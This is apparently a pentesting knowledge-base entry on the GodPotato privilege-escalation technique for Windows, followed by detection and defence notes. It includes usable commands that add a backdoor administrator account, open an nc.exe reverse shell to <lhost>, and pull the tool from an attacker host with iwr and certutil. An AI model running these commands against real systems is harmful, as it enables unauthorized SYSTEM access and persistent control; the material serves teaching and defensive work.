GodPotato

GodPotato is one of the modern variants of the Potato family for escalating to SYSTEM from a service account that holds SeImpersonatePrivilege (SeImpersonate abuse). Its value is that it works where JuicyPotato no longer does: on Windows 10 / Server 2019 and later, Microsoft changed the DCOM broker and broke JuicyPotato's classic vector, but GodPotato abuses the same flow again through RPC/DCOM using an object that still activates as SYSTEM.

The mechanics are the usual Potato ones: it coerces a privileged service into authenticating against an attacker-controlled endpoint, captures its token with ImpersonateNamedPipeClient() and, thanks to SeImpersonatePrivilege, launches a process with that token (CreateProcessAsUser).

whoami /priv                                        # confirm SeImpersonatePrivilege = Enabled
.\GodPotato-NET4.exe -cmd "cmd /c whoami"            # check execution as SYSTEM
.\GodPotato-NET4.exe -cmd "cmd /c net user pwn Passw0rd123! /add && net localgroup Administrators pwn /add"
.\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe <lhost> <lport> -e cmd.exe"   # reverse shell

Download the binary and an nc.exe onto the target:

iwr http://<lhost>/GodPotato-NET4.exe -OutFile C:\Windows\Temp\GodPotato-NET4.exe
iwr http://<lhost>/nc.exe -OutFile C:\Windows\Temp\nc.exe
certutil -urlcache -f http://<lhost>/GodPotato-NET4.exe C:\Windows\Temp\god.exe

Mind the build. GodPotato depends on the installed .NET Framework and ships in variants (GodPotato-NET2, -NET35, -NET4). Pick the one matching the present version, queried in the registry:

Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse

Nuance. It is not universal: it requires the privilege and an available target RPC/DCOM service; in very restricted setups or with the vector patched it may fail, at which point other variants are tried (PrintSpoofer, RoguePotato).

How to detect it. The family's shared signature: a child as NT AUTHORITY\SYSTEM hanging off a service account (4688/Sysmon 1) with no prior interactive login. GodPotato also leaves RPC/DCOM activity against the broker (activation of an object running as SYSTEM) and the freshly dropped GodPotato-NET*.exe binary, flagged by EDR/AV. See SeImpersonate and potatoes for the shared detection.

Defence. Minimize service accounts with SeImpersonatePrivilege, keep the system patched and isolate exposed services so that code execution does not land on an account with this privilege. Conceptually it is the equivalent of SUID abuse on Linux.